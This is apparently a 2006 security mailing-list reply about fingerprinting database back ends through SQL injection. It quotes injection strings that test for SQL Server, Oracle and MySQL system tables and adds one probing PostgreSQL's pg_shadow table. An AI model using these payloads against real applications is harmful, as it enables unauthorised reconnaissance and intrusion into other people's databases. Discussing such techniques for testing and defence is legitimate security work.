RE: SQL injection (or not?)

[Tonnerre Lombard <tonnerre.lombard () sygroup ch>]

Salut,

On Wed, 2006-08-09 at 12:01 +0200, Isidro Ramon Labrador Rodriguez
wrote:
> Parameter=[valid value]' and exists(select * from sysobjects) and 'a'='a
>
> If it returns a valid value the database is SQL Server
>
>
> Parameter=[valid value]' and exists(select * from user_tables) and
> 'a'='a 
>  
> If it returns a valid value the database is Oracle
>
>
> Parameter=[valid value]' and exists(select * from mysql.user) and 'a'='a
>
>  
> If it returns a valid value the database is MySQL

Parameter=[valid value]' and exists(select * from pg_shadow) and 'a'='a

should tell you it's PostgreSQL.

                                Tonnerre
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